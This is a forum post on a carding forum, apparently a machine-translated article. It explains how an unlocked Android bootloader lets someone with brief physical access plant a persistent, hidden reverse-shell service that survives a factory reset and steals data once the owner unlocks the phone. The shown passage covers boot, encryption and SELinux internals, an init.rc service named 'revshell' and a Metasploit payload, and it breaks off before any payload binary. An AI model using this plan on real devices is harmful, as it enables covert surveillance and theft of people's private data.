How rooting and alternative firmware make your android smartphone vulnerable

CarderPlanet

Professional
Messages
2,556
Reputation
7
Reaction score
586
Points
83
If you are a regular carders, you must have noticed that over the past few years there have been many articles about the collection of personal data from mobile devices, and about attempts to counter this, there were several excellent articles with detailed instructions on how to turn your Android smartphone into a real one. a citadel of privacy and security.

Often it is recommended for this to obtain superuser rights in the system (root-rights), remove system applications from Google and from the device manufacturer, or even completely replace the standard OS with alternative assemblies, most often LineageOS (formerly CyanogenMod). In this case, the first step in this process will always be the so-called "unlocking the bootloader". During its execution, the device will several times show us terrible warnings that now it will become more vulnerable to intruders, but we boldly press "confirm" and sew root or the latest build of custom firmware, without thinking about what problems an unlocked bootloader creates for us ...

I want to tell you how the pursuit of privacy and security can lead to more problems than using stock devices, how with physical access to the device, you can install a backdoor in android that can survive a factory reset, how you can get data from an encrypted device without knowing the pin- code without logging in and running debug mode in the developer menu.

Introduction​

Immediately at the beginning, I will make a reservation that all the dangers mentioned will affect our devices only if the attacker has physical access to the device. Therefore, the necessary initial conditions can be summed up:
  • Physical access to the smartphone. A few minutes will be enough.
  • The bootloader on the smartphone is already in an unlocked state. This is the main condition. In 95% of cases, it is true for devices on which root-rights are obtained or third-party OS assemblies are installed, as the title of the article hints at, but it is quite possible that the user, for some strange reason, decided to unlock the bootloader without it. It doesn't matter to us, the bootloader is unlocked - you can attack, the android version does not matter, the presence or absence of root also does not matter. It is about the possibilities that an unlocked bootloader gives an attacker with physical access, and will be the whole point of the article.
  • It is possible for a device to organize a sideload. For example, for a device there is TWRP or another recovery image that makes it possible to switch the device to sideload mode. For most popular devices that support bootloader unlocking, there are pre-built TWRP images.
If you think about it, the situation with physical access to a smartphone is not so incredible. For example, in recent years, there has been a growing trend of checking mobile devices by border guards when entering the country. The number of such checks increases significantly every year and may soon become a widespread practice. On the one hand, this is blatant arbitrariness, violation of laws and invasion of privacy, on the other hand, the laws of most countries at this moment are very slippery, plus, for example, at the border you have not yet entered the country, therefore the laws protecting your privacy are still may not work. In general, you will be able to "squeeze out the mobile" in the overwhelming majority of cases. Hacker magazine has a great articleoverseeing this issue. If for any reason you are detained by the police, then all your electronic devices will also be seized and, like at the border, may be backdoor unnoticed.

Formulation of the problem​

So, let's imagine a situation, we are an attacker who got our hands on a smartphone for a while. The device is an android smartphone with an unlocked bootloader. The device has built-in storage encryption, its type is hardware, i.e. keys are stored in TEE. The device is locked, you need to enter a PIN code to unlock it. Moreover, the device is in the BFU (before-first-unlock) state, which means that after the device was turned on, the unlock code was never entered and the file system was encrypted. Debug mode is not enabled on the device and it is impossible to connect via adb to it. It contains data that we need to retrieve. The device will need to be returned to the owner, undamaged, in working order, and the owner should not be conspicuous that his device has been compromised.

It sounds like an impossible task, and it would be so if the owner himself had not kindly opened the door for us. Modern smartphones are very good in terms of security. Their possible attack surface is extremely small. In the latest versions of the android OS, a lot has been done to protect user data. System protection is built in several levels. Data is encrypted, signatures are verified, and keys are stored in hardware. Everywhere the "least privilege" approach is used - everything that is not allowed is prohibited. Apps run under severe constraints. It can be safely argued that modern smartphones are some of the best examples of secure devices that humans have created.

If the user does not perform clearly strange actions such as downloading strange apk from strange resources and does not explicitly give them device administrator privileges by hand, then it is rather difficult to harm the user or steal his data. And even these problems are more likely not holes in the security of the system, but a consequence of the freedom that android provides to users, but not everyone disposes of it correctly. Gone are the days when android security was a joke. On the website of a well-known exploit broker, Zerodium, FCP - full-chain with persistence or a complete chain of remote operation of a device with fixing in the system is currently the most expensive exploit for which the company is ready to shell out up to two and a half million dollars.

An unlocked bootloader drops the difficulty level of this task from impossible to trivial. For some reason, the topic of the danger of open bootloaders is raised quite rarely, and it seems to me that its importance is greatly underestimated, so let's figure it out.

The code with the example will be presented rather simplified and not in the most sophisticated version, but working and clearly demonstrating exactly how it works.

I carried out all the actions on devices on OnePlus 5T (aka dumpling according to the classification adopted in the android device tree) on stock OxygenOS and LineageOS with versions corresponding to android 9 and 10, and XiaomiMI6 (aka sagit). Because of this, some of the nuances of the structure of the sections, and the conclusions of some commands may differ for you, but the general essence of what is happening will not change.

I will refer to source.android.com frequently . This is roughly the same as developer.android.com, but not for application developers, but for device developers. It describes well the operation of the OS, system components, etc. I highly recommend that you can hardly find more structured information on the structure of the system somewhere.

What's wrong with the bootloader being unlocked?​

In short, the protection mechanisms of Android Verified Boot (hereinafter avb) and Device Mapper Verity (hereinafter dm-verity) are disabled . In order to understand the severity of the consequences, we need to consider the process of initializing and loading the system. Since android is linux, many things that happen will be very similar to the boot process of other distributions, but with some specifics. For the topic of the article, we will be mainly interested in only the part of the download before starting the first userspace process, in fact, just - init.

Booting the system starts from the bootloader. The bootloader is a small binary component that is launched directly by the chipset and is responsible for loading and running the kernel. If in desktop linux distributions we are used mainly to the grub bootloader, then on android smartphones we have aboot bootloader. The download process is as follows:
  • Power is supplied to the device board
  • The primary bootloader (PBL) is running. It is stored in the ROM of the chip. It initializes memory of a certain minimum set for working with hardware, for example, with physical device buttons and partitions.
  • Next, the secondary bootloader (SBL) is initialized and started. It is at this stage that the Trusted Execution Environment (hereinafter TEE) ARM TrustZone is initialized and launched - that part of the arm chip that is responsible for critical things related to the security of the device. It runs a whole separate operating system, most often Trusty, it is produced by google as well as android. Keys are stored in TEE, and TEE is able to perform operations with the material of these keys on the data that the main OS can send to it. It is with TEE that AndroidKeystore interacts through the hardware abstraction layer (hereinafter HAL), which is often used by developers for various operations related to cryptography and data security. It also stores important keys, for example, keys needed to calculate the MAC for write operations to a special replay protected memory block (hereinafter RPMB) and, which is especially interesting for us, keys for verifying the signature of file systems at the AVB stage. TEE starts before the main OS starts,
  • Then aboot is executed. He collects information in order to understand what and how exactly needs to be launched. At this stage, he looks at the flags written in special memory, at the clamped physical buttons, and decides in which mode to continue booting the system: in normal mode, in recovery mode, in firmware mode (fastboot). The bootloader can also load other special modes that depend on a specific chip or device, for example, EDL on Qualcomm chips, which is used for emergency recovery of the device by loading the firmware image signed with Qualcomm keys, the public part of which is wired inside the chip. We will be looking at the regular boot process.
  • Some devices use a seamless updates mechanism , also called A / B partitions. In this case, the bootloader must select the correct current boot slot. The essence of this mechanism is that some sections are presented in two copies, for example, instead of the usual / system on the device there will be / system_a and / system_b, instead of / vendor - / vendor _a and vendor _b. The purpose of this is to make system update devices faster and more robust, i.e. for example, you are loaded into the system using slot A, you are going to update the device, select the appropriate item in the settings and continue to work calmly with the system. The update package is downloaded, but instead of rebooting into a special update mode and waiting for the firmware, it is immediately sewn, but not on the running system (this cannot be done) but into the sections of the second slot B: / system_ b, / vendor_b and, if necessary, others. After the firmware has been flashed, the system marks the flags that the next system boot must be normal and must use slot B and offers to reboot. You reboot the device, the bootloader selects slot B and continues loading, after just a few seconds of waiting your new OS is loaded, the flags are marked that the boot was successful, the current system image is working, everything is fine with it, which means you can duplicate the current system in the second slot. If the download does not end with success, the system will not set the success flags and the bootloader will understand that the new system is not working, you need to boot into the old slot, the damaged update has not been downloaded to it, and you will continue to work with the device as if nothing had happened.
  • Native loading continues. The loader looks for the / boot partition in the connected devices. This section contains two components necessary to start the system: the OS kernel - kernel, and the initial image of the file system - initramfs (in android it is almost everywhere called ramdisk and I will call it that way). This is where the mechanisms for protecting the OS from modification begin to work, or vice versa, their work is disabled if our bootloader has been unlocked. At boot, the hash is the sum of the data contained in the / boot partition and is compared with the reference hash, which is calculated and signed with the private key of the device manufacturer at the time of system assembly; this signature must be successfully verified by the AVB key stored in the TEE. In the case of an unlocked bootloader, this check is not performed, i.e. the system will run any kernel and ramdisk,
  • Defense mechanisms continue to work. Next, it is checked that the integrity of the bootable partition with the system is also not violated. Ramdisk stores the public key verity_key, the private part of which is signed by the root hash in the dm-verity hash table for the system partition. The signature is checked, after which the system is loaded. If the bootloader of our device is unlocked, then this check is also skipped.
Dm-verity hash table

Dm-verity hash table
This whole process is called boot flow and is perfectly illustrated here:

Boot flow

Boot flow

Booting from avb can have 4 final states, conventionally indicated by colors:
  • green state - the bootloader is locked, the embedded root of trust is used, i.e. the public key avb is supplied in the hardware TEE. The integrity of the kernel and system is not compromised. No messages are shown to the user. The system boots up. This always happens when we use a conventional, unmodified device.
  • yellow state - the bootloader is locked, but instead of the hardware stored key from the device manufacturer, the user-settable root of trust is used, i.e. avb keys are generated and used at the stage of building the system and then the public key is stitched into a special section along with the system firmware. The integrity of the kernel and system is not compromised. The user is shown a large yellow warning sign for 10 seconds and is informed that the device is loading a third-party operating system. After that, the system boots.
  • orange state - bootloader is unlocked, root of trust is ignored. The integrity of the kernel and system is not checked. The user is shown a large orange warning sign for 10 seconds and is informed that the integrity of the device's partitions is not checked and the system can be modified. After that, the system boots. This happens on devices with installed root-rights or an alternative OS build, this is the case we are interested in.
  • red state - the bootloader is locked, any root of trust is used, the integrity of the system is violated when the bootloader is locked, or the system is damaged (which is basically the same for dm-verity, as described in the documentation). The user is shown a message that the system is damaged. The system does not boot.
The task of the avb and dm-verity mechanisms is to make sure that the bootable kernel and system have not been changed and have reached the user's device in the form in which they were released by the device manufacturer. If the user decides to install root-rights or an alternative OS assembly, then he will inevitably break the hashes of the partitions and so that the system can continue to work and does not immediately go into the "red state" in which it refuses to boot, he will have to unlock the bootloader and, from the point of view of avb, transfer the device to "orange state" where android will turn a blind eye to system modifications. This is used by both root tools and third-party assemblies, attackers can also take advantage of this, we will also use this.

The logical consequence of going to the "orange state" and disabling avb is the ability to load images with the kernel not signed by the device manufacturer. Among those who like to modify android, the most popular project of this kind is the "Team Win Recovery Project" or simply TWRP. TWRP allows you to do almost everything with the device, in particular, mount and modify any partitions without booting into the system itself. It is this opportunity that we will need for our task, but first we need to figure out how exactly user data is stored on the device.

How the storage works​

If we look at the structure of partitions on the storage of a smartphone, we will see that there are quite a few of them on the device.

Code:
# ls -la /dev/block/by-name                                                                                                                                   
total 0
drwxr-xr-x 2 root root 1480 1973-02-10 03:40 .
drwxr-xr-x 4 root root 2160 1973-02-10 03:40 ..
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 LOGO -> /dev/block/sde18
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 abl -> /dev/block/sde16
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 ablbak -> /dev/block/sde17
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 apdp -> /dev/block/sde31
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 bluetooth -> /dev/block/sde24
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 boot -> /dev/block/sde19
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 boot_aging -> /dev/block/sde20
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 cache -> /dev/block/sda3
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 cdt -> /dev/block/sdd2
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib -> /dev/block/sde27
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib64 -> /dev/block/sde29
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib64bak -> /dev/block/sde30
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlibbak -> /dev/block/sde28
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 config -> /dev/block/sda12
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 ddr -> /dev/block/sdd3
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 devcfg -> /dev/block/sde39
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 devinfo -> /dev/block/sde23
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dip -> /dev/block/sde14
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dpo -> /dev/block/sde33
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dsp -> /dev/block/sde11
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 frp -> /dev/block/sda6
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 fsc -> /dev/block/sdf4
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 fsg -> /dev/block/sdf3
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4g9n4 -> /dev/block/sde45
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4j1ed -> /dev/block/sde43
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4t0n8 -> /dev/block/sde46
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_8v1ee -> /dev/block/sde44
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 hyp -> /dev/block/sde5
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 hypbak -> /dev/block/sde6
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 keymaster -> /dev/block/sde25
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 keymasterbak -> /dev/block/sde26
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 keystore -> /dev/block/sda5
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 limits -> /dev/block/sde35
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 logdump -> /dev/block/sde40
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 logfs -> /dev/block/sde37
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 md5 -> /dev/block/sdf5
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtp -> /dev/block/sde15
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtpsecapp -> /dev/block/sde12
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtpsecappbak -> /dev/block/sde13
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 minidump -> /dev/block/sde47
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 misc -> /dev/block/sda4
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 modem -> /dev/block/sde10
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 modemst1 -> /dev/block/sdf1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 modemst2 -> /dev/block/sdf2
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 msadp -> /dev/block/sde32
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 oem_dycnvbk -> /dev/block/sda7
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 oem_stanvbk -> /dev/block/sda8
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 param -> /dev/block/sda9
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 persist -> /dev/block/sda2
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 pmic -> /dev/block/sde8
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 pmicbak -> /dev/block/sde9
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 recovery -> /dev/block/sde22
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 reserve -> /dev/block/sdd1
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 reserve1 -> /dev/block/sda10
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 reserve2 -> /dev/block/sda11
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 reserve3 -> /dev/block/sdf7
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 rpm -> /dev/block/sde1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 rpmbak -> /dev/block/sde2
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 sec -> /dev/block/sde7
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 splash -> /dev/block/sde34
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 ssd -> /dev/block/sda1
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 sti -> /dev/block/sde38
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 storsec -> /dev/block/sde41
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 storsecbak -> /dev/block/sde42
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 system -> /dev/block/sde21
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 toolsfv -> /dev/block/sde36
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 tz -> /dev/block/sde3
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 tzbak -> /dev/block/sde4
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 userdata -> /dev/block/sda13
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 vendor -> /dev/block/sdf6
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 xbl -> /dev/block/sdb1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 xblbak -> /dev/block/sdc1

Most of them are small and contain, for example, the logo of the device manufacturer, which is displayed immediately after power is applied to the device board. There is a section containing the firmware running on the baseband processor and responsible for mobile communications, calls and the Internet according to 2G, 3G, LTE standards, etc. There are sections containing BLOBs required to work with some devices. We will be interested in just a few partitions, the content of which is mounted in the file system and is directly used during the operation of the OS:
  • The boot section contains the kernel of the operating system.
  • The system section contains the operating system itself, all its executable files, immutable configs, system libraries, android framework and other jar files necessary for the operation of the virtual machine in which android applications are executed. Starting with 10 android on many devices instead of the usual system used under section system- as- root, it is different mount point, but its essence is the same - it contains the operating system files.
  • The vendor section contains proprietary OS components from the device manufacturer. For example, Qualcomm drivers, etc.
  • The userdata section contains data related to the current instance of the installed operating system. We will consider it in more detail.
The data of the currently installed OS includes, for example, the current adb keys, the current settings installed on the system, configurable configs, etc. The userdata contains the internal directories of applications, which are usually called sandboxes or "internal storage" of installed applications, as well as the general file storage, which contains photos, videos, music, documents, user downloads and other information. This is what we can see in the "Files" system application. Shared file storage in terms of installed applications is "externalstorage".

Application data, "internal storage", is located on the path / data / data. This directory contains sandbox directories of individual applications, corresponding to their full package names. For example:
Code:
drwx------   8 u0_a69         u0_a69          4096 2021-01-29 13:31 com.google.android.youtube

As you can see, the directory is owned by u0_a69. When installing packages, android assigns a separate system user and group to each application and creates a home directory for them in / data / data, similar to / home / user in desktop linux distributions. Uid numbers start at 10,000, numbers up to 10,000 are reserved and used by system applications and services. In the name, u0 means the first user (usually he is always the first and only one, except in rare cases when the device supports multi-user mode), a69 is just an application number. This directory stores files, cache, databases, shared preferences for applications, etc. The directory can only be accessed by the owner application. Even the system applications supplied with the device (user system: system, uid = 1000,

The shared storage, "external storage", is located along the path / data / media / 0, external SD cards will be named / data / media / 1, respectively. At runtime, it is linked to / storage.

If we are an ordinary unprivileged application, then all that is available to us for writing is its own sandbox, and, if the WRITEEXTERNAL_STORAGE permission is obtained, the shared storage. The rest of the userdata section is inaccessible to us, but the operating system itself uses it, storing there, for example, dalvik caches.

The system is specially designed in such a way that while working with the device, the only section whose state changes is userdata. During normal work with the device in the interval between system updates, the state of the boot, system and vendor partitions remains unchanged. Boot is usually not directly visible to us in the filesystem, the contents of system and vendor are mounted in "read-only" mode, because nothing should ever be overwritten in them. This is why avb can check the integrity of the system so conveniently. The boot, system and vendor partitions can be overwritten only when the device manufacturer sends an update, and along with the update, new signatures of the partitions for dm-verity, so the verified boot is not violated.

Initially, the userdata section is empty. When the device starts up, it looks at its contents, and if there is nothing there, then the system understands that it is being launched for the first time, which means it is necessary to carry out the actions associated with the first launch - unpack and install system applications from the read-only directories / system / app and / system / priv-app, assign system users to them, create sandbox directories for them, copy and apply some default settings, prepare a launcher, show the user a welcome message and do onboarding. Because of this, the first launch of the device after purchase takes much longer than usual. If the userdata section is already full, then this step is skipped and the system boots in a few seconds.

Resetting to factory settings, as you might have guessed, is just formatting the userdata section, after which the device will work again in exactly the same way as when it was started for the very first time. None of the other sections are modified by this.

How storage encryption works​

First, let's figure out how storage encryption works, because this is the most formidable obstacle to data extraction. Encryption is applied at the file system level. There are two main approaches to organizing encryption:
  • FDE - full-device-encryption - full disk encryption. This means that the entire storage device is encrypted, and even the operating system cannot be loaded until it is decrypted. Therefore, in this case, the owner of the device to work with it first, even before loading the operating system, must enter the key with which the storage will be decrypted and only then the system will boot. This approach required a "double" boot of the system, first in the minimal version to show the password entry form, and then in the full-fledged version, after decrypting the storage. It was used on some devices with android versions 5-7, but it is not used on modern OS versions and modern devices.
  • FBE - file-based-encryption - encryption of separate parts of the file system. With regard to android, only those parts of the system where the user's data are stored are encrypted. The kernel, system partition, etc. remain unencrypted. Strictly speaking, it is easier to list what is encrypted, and only / data / data and / data / media are encrypted. All other parts of the system remain unencrypted. This allows the operating system to successfully boot to the user authorization screen, start system services and accessibility services, and receive SMS. Starting with android 7 and switching to FBE Directboot API appeared, which gives applications the ability to launch and run in limited mode until the unlock code is entered and the file system is decrypted. FBE allows you to combine high standards of data protection in storage and an excellent user experience. The user is not distracted by entering an additional password before starting the system, the system does not waste resources on encrypting and decrypting parts of the file system that do not contain the owner's personal data. This is a modern approach that is used on modern devices and is a must for all new devices starting with android 9.

The first entry of the unlock code is very important, because it is at this point that the actual decryption of the remaining parts of the userdata section takes place. The system is able to complete the download and launch the launcher. After that, the encryption keys to the file system will be stored in memory and will not leave it until the power is turned off. Because of this, among specialists involved in extracting data from devices, it is customary to distinguish two states of the device:
  • BFU (before first unlock) - before the first input of the unlock code
  • AFU (after first unlock) - after the first input of the unlock code
Before the first input of the unlock code, the user's data is always encrypted, after the first input, it is always decrypted. Even when the user subsequently presses the power button or the system goes to sleep by itself, the data, from the point of view of the OS, no longer goes into an encrypted state, now only the lock screen protects it. Android does not yet provide a mechanism for clearing keys to decrypt the file system from memory after a certain period of inactivity.

This means that if after the device has been unlocked at least once to connect to it, for example via adb, then user data will be available and can be accessed even if the screen is locked.

This is what the shared storage looks like before you enter the unlock code for the first time:
Code:
# ls -la /data/media/0/                                                                                                                                 
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx---  4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 3aIg6706qnt+JRerXQc,9B
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 5RxSnwRfzXH5JsgykyuneB
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 9QCg2626EAEHNRc,IpjzjC
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 XLrhnulSzxYVPwgkHhs8YC
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:45 ZC6kM5uXi6,coHL+OYgLCB
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 kJJ0DN8Tmhcs7hicwcEZ3A
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 mPaCm6PJHF9,MyimVTRozC
drwxrwxr-x  3 media_rw media_rw 4096 2021-01-29 10:43 qIkgta78EOvsfnjupFXQ+C
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 uAP,C13tjXpxdP8PWVeMRD
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 v33cOjp,wu+hlgBIWnQdjB
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 xxjD9tk7bDh9XZUzoDwMbB

And like this after:
Code:
# ls -la /data/media/0/                                                                                                                                   
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx---  4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Alarms
drwxrwxr-x  3 media_rw media_rw 4096 2021-01-29 10:43 Android
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 DCIM
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Download
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Movies
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Music
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Notifications
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Pictures
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Podcasts
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Ringtones
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:45 bluetooth

In fact, storage encryption is the most difficult part of our data retrieval task to overcome. It is in no way possible to bypass encryption with keys in the hardware TEE, but on the other hand, several useful conclusions follow from this information, and our task begins to form into specific technical requirements.
  • Firstly, in any case, you will have to access the user's personal files only after entering the unlock code.
  • Secondly, the unlocked bootloader makes it possible to rewrite the system partition, but it is never encrypted, even in the BFU state.
This leads us to the idea that we can take advantage of the opportunity to modify the never-encrypted part of the system, inject an agent into it that will not affect or spoil the encrypted data in any way, and subsequently give us access to it after the device is returned to the user and he himself will enter the unlock code for the first time. Since the user obviously will not enter the unlock code by connecting the device to our usb cable or being in our local network, the use of adb is not suitable for us and it is necessary to organize remote access in the reverse-shell format.

Getting remote access​

For android, there is a popular payload in the Metasploit framework that can theoretically give us remote access to the device - android / meterpreter / reverse_tcp, but there are problems with it:
  • It comes as a regular application. We technically cannot install an application into an encrypted storage in android, plus even if we could, this is a clear chance to compromise ourselves, since the application will be visible in the launcher and in the list of installed applications in the settings, and if one of the antivirus solutions is installed on the user's device, then it can detect it as a virus by publicly available signs. We can rebuild it by changing the signatures or even inject it into some other application, but this will not change the essence.
  • It was designed for older versions of android and some of its functions may not work on modern versions of the system. Some of its features require hands-on confirmation of system dialogs with permissions, some simply will not start.
  • It works like a normal unprivileged application, which means that it cannot have special access to anything. If the system does not have root rights, then we can only get files from the shared storage and only after the user confirms the dialog with permission, which will automatically give us. If the system has root rights, then we can get them only after explicitly confirming the dialog with permission. We could manually edit the magisk database to add ourselves to the list of applications that have root access and disable logging and notifications about granting root access for ourselves, but for this we need to edit the file from the internal directory of the application, and it is encrypted.
  • As a normal application, it will fall under lifecycle management, the system, at best, will send it to sleep in doze-mode, at worst, it will simply kill and there will be no one to restart it. The application process died - the agent process also died, since it is a child process of the application.
In order for the agent to be able to maintain itself constantly running without problems, not to shine in the operating system and not to fall under the regulations and restrictions for installed applications, it is necessary to arrange it as a system service - a daemon.

In order to understand exactly how to do this, you need to return to the system boot process, but now we will look at the top-level part of it that occurs immediately after the boot flow considered at the beginning, i.e. when the bootloader loaded the boot partition, the verified boot mechanism worked and the system received the go-ahead to start:
  • The kernel and ramdisk are unpacked into RAM and the bootloader starts the kernel.
  • The kernel starts, initializes devices, drivers, etc. and mounts the ramdisk to the root of the filesystem. Ramdisk contains the minimum set of files required to run the user-side of the system. The init binary, a minimal init.rc script for it, mount points for partitions: / system, / vendor, etc. and information about the devices that need to be mounted in them. Here there are described examples ramdisk content for different versions of android.
  • Further, the process can go through several scenarios, but in general, the ultimate goal of the kernel at the boot stage is to run the init executable file, which will continue booting the system no longer in kernel space, but in user space.
  • The first thing the init process does right after it starts is download the compiled SELinux policies and apply them. SELinux is a kernel mechanism for enforcing access control that came to android from RedHat-like distributions. We will come back to it and consider it in more detail.
  • Next, the init process parses the init.rc script from the ramdisk, which contains a list of actions that must be performed to successfully boot the system, as well as what other .rc scripts need to be loaded. Android uses its own script format to load system components.
  • After working through all the scripts, we get a completely running system.
Apparently, in order to be introduced into the system as a daemon, we need to prepare an executable file with a payload and describe the system service that will call it.

The initial init.rc imports additional scripts from several directories, including the main source of these scripts from the system partition: /system/etc/init/.rc, so we will prepare our script and place it there.

The syntax of .rc scripts is simple, it is well described here, and you can still peep at how it works just by looking at the files in the above directory.

Let's prepare a description of our service:
Code:
service revshell /system/bin/revshell
    disabled
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Let's indicate the name of the service revshell.

The path to the executable file will be in the standard directory for binaries in android. We will place the agent there.

disabled means that it does not need to be loaded directly during system boot immediately after the script is processed. We will start the service with a special trigger, which is focused on the declaration of the sys.boot_completed property.

shutdown critical means that the service is critical and should not be killed even when a system shutdown signal is given.

The plan is as follows: the system will launch our agent at boot until the screen for entering the unlock code is displayed. The agent is waiting for the file system to be decrypted. After the owner of the device enters the unlock code, the agent launches a reverse-shell and provides us with access to the system with the ability to get any files.

The system service is not subject to the OOM killer rules and the energy saving rules, it will not be stopped if the system runs out of memory, or it falls asleep. If the service process ends for any reason, the system will restart it no later than 5 seconds later. Even if the service cannot start and its process crashes, the system will never give up trying to start it and will continue to do so while it continues to work.

It looks exactly like what we need, but here our expectations are destined to meet with the harsh realities of organizing security in android. If we try to install a service in this way, the system will ignore it, and dmesg will tell us something similar to this:
Code:
avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0

SELinux​

Security in android is more complex than cybercriminals would like and is a multi-layered system. Unix DAC (discretionary access control), the familiar system of users and the assignment of rights to files of the rwxrwxrwx type, is only part of the measures to prevent abuse of the operating system and device. In addition to it, there is also MAC (mandatory access control), in android it is SELinux (Security Enhanced Linux). The essence of MAC is the ability to control access to various resources much more flexibly than DAC, including describing its unique entities and rules for this.

Access control levels in android


Access control levels in android
From here follows a somewhat unobvious conclusion - on android root-rights in the usual understanding for other linux distributions, i.e. when the uid of a user in the system is 0, it does not mean that we can do whatever we want. Even though the init process started with uid = 0, it cannot start a third party service. The fact is that SELinux does not operate in terms of system users and groups, and if some action was not explicitly allowed, then it will deny it and it does not matter to him whether an unprivileged user or root tries to perform it. It works "above" the DAC and can deny any action that the DAC has allowed.

Here's a great example in android with the file itself containing SELinux policies:
Code:
$ ls -laZ /sys/fs/selinux/policy                                                                                             
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy                                                                                                 
cat: /sys/fs/selinux/policy: Permission denied

It has read access for any users, but when we try to read it we will get Permission denied, because neither processes with the context u: r: shell: s0, nor processes with the context u: r: untrustedapp: s0 have permission to reading files u: objectr: selinuxfs: s0.

SELinux operates with the concepts of contexts that are assigned to files and processes, and rules for interaction between objects belonging to different contexts. Sets of these rules are combined into policies. They are described in the * .te files in the android sources, you can see examples here. Policies are collected at the stage of building the system and, in theory, cannot be changed while it is running, they are compiled into a special binary format that the system already uses.

